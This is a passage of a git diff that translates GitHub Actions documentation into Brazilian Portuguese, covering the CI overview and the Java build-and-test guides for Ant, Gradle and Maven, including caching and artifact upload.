+Você pode configurar a execução do seu fluxo de trabalho de CI para ocorrer diante de um evento do {% data variables.product.prodname_dotcom %} (por exemplo, quando houver push de um novo código para o seu repositório), com base em uma programação definida ou quando houver um evento externo usando o webhook de despacho do repositório.
 
-{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure.
+{% data variables.product.product_name %} executa seus testes de CI e fornece os resultados de cada teste no pull request para que você possa ver se a mudança no seu branch introduz um erro. Quando todos os testes de CI em um fluxo de trabalho forem aprovados, as alterações que passaram por push estarão prontas para a revisão de um integrante da equipe ou para o merge. Se algum teste falhar, uma de suas alterações pode ter causado a falha.
 
-When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests.
+Ao configurar o CI no seu repositório, {% data variables.product.product_name %} analisa o código no seu repositório e recomenda fluxos de trabalho CI baseados no idioma e na estrutura do seu repositório. Por exemplo, se você usar [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} irá sugerir um fluxo de trabalho inicial que instala seus pacotes Node.js e executa seus testes. Você pode usar o fluxo de trabalho inicial de CI sugerido por {% data variables.product.product_name %}, personalizar o fluxo de trabalho inicial sugerido ou criar o seu próprio arquivo de fluxo de trabalho personalizado para executar seus testes de CI.
 
-![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png)
+![Captura de tela de fluxos de trabalho iniciais de integração contínua sugeridos](/assets/images/help/repository/ci-with-actions-template-picker.png)
 
-In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)."
+Além de ajudá-lo a configurar fluxos de trabalho de CI para seu projeto, você pode usar {% data variables.product.prodname_actions %} para criar fluxos de trabalho ao longo de todo o ciclo de vida de desenvolvimento do software. Por exemplo, você pode usar ações para implantar, criar pacotes ou lançar uma versão do seu projeto. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_actions %}](/articles/about-github-actions)".
 
-For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)."
+Para obter uma definição de termos comuns, consulte "[Conceitos básicos de {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)".
 
-## Starter workflow
+## Fluxo de trabalho inicial
 
-{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks.
+{% data variables.product.product_name %} oferece fluxo de trabalho inicial de CI para uma série de linguagens e estruturas.
 
-Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.product.product_location %}{% endif %}.
+Navegue pela lista completa do fluxo de trabalho inicial da CI oferecido por {% data variables.product.company_short %} no repositório de {% ifversion fpt or ghec %}[ações/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` em {% data variables.product.product_location %}{% endif %}.
 
-## Further reading
+## Leia mais
 
 {% ifversion fpt or ghec %}
-- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
+- "[Gerenciando cobrança para {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"
 {% endif %}
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
index ccf04b5c79..c66740170b 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-ant.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Ant
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Ant.
+title: Criar e estar o Java com o Ant
+intro: Você pode criar um fluxo de trabalho de integração contínua (CI) no GitHub Actions para criar e testar o seu projeto Java com o Ant.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-ant
   - /actions/guides/building-and-testing-java-with-ant
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Ant
-shortTitle: Build & test Java & Ant
+shortTitle: Criar & testar Java & Ant
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Ant build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to upload artifacts from a workflow run.
+Este guia mostra como criar um fluxo de trabalho que realiza a integração contínua (CI) para o seu projeto Java usando o sistema de criação do Ant. O fluxo de trabalho que você criar permitirá que você veja quando commits em um pull request gerarão falhas de criação ou de teste em comparação com o seu branch-padrão. Essa abordagem pode ajudar a garantir que seu código seja sempre saudável. Você pode estender seu fluxo de trabalho de CI para enviar artefatos a partir da execução de um fluxo de trabalho.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Ant. For a list of software and the pre-installed versions for JDK and Ant, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Os executores hospedados em {% data variables.product.prodname_dotcom %} têm uma cache de ferramentas com com software pré-instalado, que inclui kits de desenvolvimento Java (JDKs) e Ant. Para uma lista de software e as versões pré-instaladas para JDK e Ant, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte:
+- "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Ant framework. For more information, see the [Apache Ant Manual](https://ant.apache.org/manual/).
+Recomendamos que você tenha um entendimento básico da estrutura do Java e do Ant. Para obter mais informações, consulte o [Manual do Apache Ant](https://ant.apache.org/manual/).
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Using the Ant starter workflow
+## Usando o fluxo de trabalho inicial do Ant
 
-{% data variables.product.prodname_dotcom %} provides an Ant starter workflow that will work for most Ant-based Java projects. For more information, see the [Ant starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Ant que funcionará para a maioria dos projetos Java baseados no Ant. Para obter mais informações, consulte o [fluxo de trabalho inicial do Ant](https://github.com/actions/starter-workflows/blob/main/ci/ant.yml).
 
-To get started quickly, you can choose the preconfigured Ant starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+Para iniciar rapidamente, você pode escolher o fluxo de trabalho inicial pré-configurado ao criar um novo fluxo de trabalho. Para obter mais informações, consulte o início rápido "[{% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+Você também pode adicionar este fluxo de trabalho manualmente, criando um novo arquivo no diretório `.github/workflows` do seu repositório.
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Ant" step runs the default target in your `build.xml` in non-interactive mode.
+1. O `checkout` faz o download de uma cópia do seu repositório no executor.
+2. A etapa `setup-java` configura o Java 11 JDK pelo Adoptium.
+3. A etapa "Criar com Ant" executa o alvo-padrão em seu `build.xml` de modo não interativo.
 
-The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
+Os fluxos de trabalho inicial padrão são excelentes pontos de partida ao criar seu fluxo de trabalho de criação e teste, e você pode personalizar o fluxo de trabalho inicial para atender às necessidades do seu projeto.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código.
 
-The starter workflow will run the default target specified in your _build.xml_ file.  Your default target will commonly be set to build classes, run tests and package classes into their distributable format, for example, a JAR file.
+O fluxo de trabalho inicial executará o alvo-padrão especificado no arquivo _build.xml_.  Seu alvo-padrão será comumente definido para criar classes, executar testes e classes de pacote em seu formato distribuível como, por exemplo, um arquivo JAR.
 
-If you use different commands to build your project, or you want to run a different target, you can specify those. For example, you may want to run the `jar` target that's configured in your _build-ci.xml_ file.
+Se você usa comandos diferentes para criar seu projeto ou se você quer executar um alvo diferente, você poderá especificá-los. Por exemplo, você pode desejar executar o `jar` alvo configurado no arquivo _build-ci.xml_.
 
 {% raw %}
 ```yaml{:copy}
@@ -103,11 +103,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Após a sua criação ter sido criada com sucesso e os seus testes aprovados, é possível que você deseje fazer o upload dos Java resultantes como um artefato de criação. Isso armazenará os pacotes criados como parte da execução do fluxo de trabalho e permitirá que você faça o download desses pacotes. Os artefatos podem ajudá-lo a testar e depurar os pull requests no seu ambiente local antes de serem mesclados. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-Ant will usually create output files like JARs, EARs, or WARs in the `build/jar` directory. You can upload the contents of that directory using the `upload-artifact` action.
+De modo geral, o Ant cria arquivos de saída como JARs, EARs ou WARs no diretório `build/jar`. Você pode fazer upload do conteúdo desse diretório usando a ação `upload-artefact`.
 
 {% raw %}
 ```yaml{:copy}
@@ -117,7 +117,7 @@ steps:
     with:
       java-version: '11'
       distribution: 'adopt'
-  
+
   - run: ant -noinput -buildfile build.xml
   - uses: actions/upload-artifact@v2
     with:
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
index 53d8174806..88da876d81 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Gradle
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Gradle.
+title: Criar e estar o Java com o Gradle
+intro: Você pode criar um fluxo de trabalho de integração contínua (CI) no GitHub Actions para criar e testar o seu projeto Java com o Gradle.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-gradle
   - /actions/guides/building-and-testing-java-with-gradle
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Gradle
-shortTitle: Build & test Java & Gradle
+shortTitle: Criar & testar Java & Gradle
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+Este guia mostra como criar um fluxo de trabalho que realiza a integração contínua (CI) para o seu projeto Java usando o sistema de criação do Gradle. O fluxo de trabalho que você criar permitirá que você veja quando commits em um pull request gerarão falhas de criação ou de teste em comparação com o seu branch-padrão. Essa abordagem pode ajudar a garantir que seu código seja sempre saudável. Você pode estender seu fluxo de trabalho de CI para memorizar arquivos e fazer o upload de artefatos a partir da execução de um fluxo de trabalho.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Os executores hospedados em {% data variables.product.prodname_dotcom %} têm uma cache de ferramentas com com software pré-instalado, que inclui kits de desenvolvimento Java (JDKs) e Gradle. Para obter uma lista de software e as versões pré-instaladas para JDK e Gradle, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte:
+- "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Gradle framework. For more information, see [Getting Started](https://docs.gradle.org/current/userguide/getting_started.html) in the Gradle documentation.
+Recomendamos que você tenha um entendimento básico da estrutura do Java e do Gradle. Para obter mais informações, consulte "[Introdução](https://docs.gradle.org/current/userguide/getting_started.html)" na documentação do Gradle.
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Using the Gradle starter workflow
+## Usando o fluxo de trabalho inicial do Gradle
 
-{% data variables.product.prodname_dotcom %} provides a Gradle starter workflow that will work for most Gradle-based Java projects. For more information, see the [Gradle starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Gradle que funcionará para a maioria dos projetos Java baseados no Gradle. Para obter mais informações, consulte o [Fluxo de trabalho inicial do Gradle](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
 
-To get started quickly, you can choose the preconfigured Gradle starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+Para começar rapidamente, você pode escolher o fluxo de trabalho inicial pré-configurado do Gradle ao criar um novo fluxo de trabalho. Para obter mais informações, consulte o início rápido "[{% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+Você também pode adicionar este fluxo de trabalho manualmente, criando um novo arquivo no diretório `.github/workflows` do seu repositório.
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -72,26 +72,26 @@ jobs:
         run: ./gradlew build
 ```
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Validate Gradle wrapper" step validates the checksums of Gradle Wrapper JAR files present in the source tree.
-4. The "Build with Gradle" step runs the `gradlew` wrapper script to ensure that your code builds, tests pass, and a package can be created.
+1. O `checkout` faz o download de uma cópia do seu repositório no executor.
+2. A etapa `setup-java` configura o Java 11 JDK pelo Adoptium.
+3. A etapa "Validar o invólucro do Gradle" valida as somas de verificação dos arquivos JAR do Gradle Wrapper presentes na árvore de origem.
+4. A etapa "Criar com Gradle" executa o script wrapper `gradlew` para garantir que o seu código seja criado, o seu teste seja aprovado e que seja possível criar um pacote.
 
-The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
+Os fluxos de trabalho inicial padrão são excelentes pontos de partida ao criar seu fluxo de trabalho de criação e teste, e você pode personalizar o fluxo de trabalho inicial para atender às necessidades do seu projeto.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código.
 
-The starter workflow will run the `build` task by default. In the default Gradle configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+O fluxo de tarbalho inicial executará a tarefa `criar` por padrão. Na configuração-padrão do Gradle, este comando irá baixar dependências, criar classes, executar testes e classes de pacotes em seu formato distribuível, como, por exemplo, um arquivo JAR.
 
-If you use different commands to build your project, or you want to use a different task, you can specify those. For example, you may want to run the `package` task that's configured in your _ci.gradle_ file.
+Se você usa comandos diferentes para criar seu projeto ou se você desejar usar uma atividade diferente, você poderá especificá-los. Por exemplo, é possível que você deseje executar a tarefa `pacote` configurada no seu arquivo _ci.gradle_.
 
 {% raw %}
 ```yaml{:copy}
@@ -108,9 +108,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## Memorizar dependências
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Gradle package cache will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote package repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá armazenar em cache suas dependências para acelerar as execuções do seu fluxo de trabalho. Após a conclusão bem-sucedida, a sua cache do pacote do Gradle local será armazenada na infraestrutura do GitHub Actions. Para os fluxos de trabalho futuros, a cache será restaurada para que as dependências não precisem ser baixadas dos repositórios de pacotes remotos. Você pode armazenar dependências simplesmente usando a ação [`setup-java`](https://github.com/marketplace/actions/setup-java-jdk) ou pode usar a ação [`cache` ](https://github.com/actions/cache) para uma configuração mais avançada e personalizada.
 
 {% raw %}
 ```yaml{:copy}
@@ -135,13 +135,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Gradle package cache, located in the `.gradle/caches` and `.gradle/wrapper` directories of the runner's home directory. The cache key will be the hashed contents of the gradle build files (including the Gradle wrapper properties file), so any changes to them will invalidate the cache.
+Este fluxo de trabalho salvará o conteúdo de seu cache local do pacote Gradle, localizado nos diretórios `.gradle/caches` e `.gradle/wrapper` do diretório inicial do executor. A chave de cache será o conteúdo da compilação com hash (incluindo o arquivo de propriedades do wrapper do Gradle). Portanto, qualquer alteração neles irá invalidar o cache.
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Após a sua criação ter sido criada com sucesso e os seus testes aprovados, é possível que você deseje fazer o upload dos Java resultantes como um artefato de criação. Isso armazenará os pacotes criados como parte da execução do fluxo de trabalho e permitirá que você faça o download desses pacotes. Os artefatos podem ajudá-lo a testar e depurar os pull requests no seu ambiente local antes de serem mesclados. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-Gradle will usually create output files like JARs, EARs, or WARs in the `build/libs` directory. You can upload the contents of that directory using the `upload-artifact` action.
+De modo geral, o Gradle cria arquivos de saída como JARs, EARs ou WARs no diretório `build/libs`. Você pode fazer upload do conteúdo desse diretório usando a ação `upload-artefact`.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
index bc44e08de5..d1bf976149 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Maven
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Maven.
+title: Criar e estar o Java com o Maven
+intro: Você pode criar um fluxo de trabalho de integração contínua (CI) no GitHub Actions para criar e testar o seu projeto Java com o Maven.
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-maven
   - /actions/guides/building-and-testing-java-with-maven
@@ -14,39 +14,39 @@ topics:
   - CI
   - Java
   - Maven
-shortTitle: Build & test Java with Maven
+shortTitle: Criar & testar o Java com o Maven
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+Este guia mostra como criar um fluxo de trabalho que realiza a integração contínua (CI) para o seu projeto Java usando a ferramenta de gerenciamento de projeto do software Maven. O fluxo de trabalho que você criar permitirá que você veja quando commits em um pull request gerarão falhas de criação ou de teste em comparação com o seu branch-padrão. Essa abordagem pode ajudar a garantir que seu código seja sempre saudável. Você pode estender seu fluxo de trabalho de CI para memorizar arquivos e fazer o upload de artefatos a partir da execução de um fluxo de trabalho.
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+Os executores hospedados em {% data variables.product.prodname_dotcom %} têm uma cache de ferramentas com um software pré-instalado, que inclui kits de desenvolvimento Java (JDKs) e Maven. Para uma lista de software e as versões pré-instaladas para JDK e Maven, consulte "[Especificações para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+Você deve estar familiarizado com o YAML e a sintaxe do {% data variables.product.prodname_actions %}. Para obter mais informações, consulte:
+- "[Sintaxe de fluxo de trabalho para o {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
 
-We recommend that you have a basic understanding of Java and the Maven framework. For more information, see the [Maven Getting Started Guide](http://maven.apache.org/guides/getting-started/index.html) in the Maven documentation.
+Recomendamos que você tenha um entendimento básico da estrutura do Java e do Maven. Para obter mais informações, consulte "[Guia de introdução ao Maven](http://maven.apache.org/guides/getting-started/index.html)" na documentação do Maven.
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Using the Maven starter workflow
+## Usando o fluxo de trabalho inicial do Maven
 
-{% data variables.product.prodname_dotcom %} provides a Maven starter workflow that will work for most Maven-based Java projects. For more information, see the [Maven starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
+{% data variables.product.prodname_dotcom %} fornece um fluxo de trabalho inicial do Maven que funcionará para a maioria dos projetos Java baseados no Maven. Para obter mais informações, consulte o [Fluxo de trabalho inicial do Maven](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
 
-To get started quickly, you can choose the preconfigured Maven starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+Para começar rapidamente, você pode escolher o fluxo de trabalho inicial pré-configurado do Maven ao criar um novo fluxo de trabalho. Para obter mais informações, consulte o início rápido "[{% data variables.product.prodname_actions %}](/actions/quickstart)".
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+Você também pode adicionar este fluxo de trabalho manualmente, criando um novo arquivo no diretório `.github/workflows` do seu repositório.
 
 {% raw %}
 ```yaml{:copy}
@@ -70,25 +70,25 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+Este fluxo de trabalho executa os seguintes passos:
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Maven" step runs the Maven `package` target in non-interactive mode to ensure that your code builds, tests pass, and a package can be created.
+1. O `checkout` faz o download de uma cópia do seu repositório no executor.
+2. A etapa `setup-java` configura o Java 11 JDK pelo Adoptium.
+3. A etapa "Construir com Maven" executa o `pacote`-alvo Maven alvo de modo não interativo para garantir que seu código de seja criado, o seu teste seja aprovado e que seja possível criar um pacote.
 
-The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
+Os fluxos de trabalho inicial padrão são excelentes pontos de partida ao criar seu fluxo de trabalho de criação e teste, e você pode personalizar o fluxo de trabalho inicial para atender às necessidades do seu projeto.
 
 {% data reusables.github-actions.example-github-runner %}
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## Criar e testar seu código
 
-You can use the same commands that you use locally to build and test your code.
+Você pode usar os mesmos comandos usados localmente para criar e testar seu código.
 
-The starter workflow will run the `package` target by default. In the default Maven configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+O fluxo de trabalho inicial executará o `pacote`-alvo por padrão. Na configuração-padrão do Maven, este comando fará o download das dependências, criará classes, executará testes e classes de pacotes em seu formato distribuível, como, por exemplo, um arquivo JAR.
 
-If you use different commands to build your project, or you want to use a different target, you can specify those. For example, you may want to run the `verify` target that's configured in a _pom-ci.xml_ file.
+Se você usa comandos diferentes para criar seu projeto ou se desejar usar um alvo diferente, você poderá especificá-los. Por exemplo, você pode desejar executar o alvo de `verificar`, configurado em um arquivo _pom-ci.xml_.
 
 {% raw %}
 ```yaml{:copy}
@@ -103,9 +103,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## Memorizar dependências
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Maven repository will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote Maven repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+Ao usar executores hospedados em {% data variables.product.prodname_dotcom %}, você poderá armazenar em cache suas dependências para acelerar as execuções do seu fluxo de trabalho. Após a conclusão bem-sucedida, o seu repositório local do Maven será armazenado na infraestrutura do GitHub Actions. Para os fluxos de trabalho futuros, a cache será restaurada para que as dependências não precisem ser baixadas dos repositórios remotos do Maven. Você pode armazenar dependências simplesmente usando a ação [`setup-java`](https://github.com/marketplace/actions/setup-java-jdk) ou pode usar a ação [`cache` ](https://github.com/actions/cache) para uma configuração mais avançada e personalizada.
 
 {% raw %}
 ```yaml{:copy}
@@ -122,13 +122,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Maven repository, located in the `.m2` directory of the runner's home directory. The cache key will be the hashed contents of _pom.xml_, so changes to _pom.xml_ will invalidate the cache.
+Este fluxo de trabalho salvará o conteúdo do repositório local do Maven, localizado no diretório `.m2` do diretório inicial do executor. A chave da cache será o conteúdo em hash do _pom.xml_. Portanto, as alterações em _pom.xml_ invalidarão a cache.
 
-## Packaging workflow data as artifacts
+## Empacotar dados do fluxo de trabalho como artefatos
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
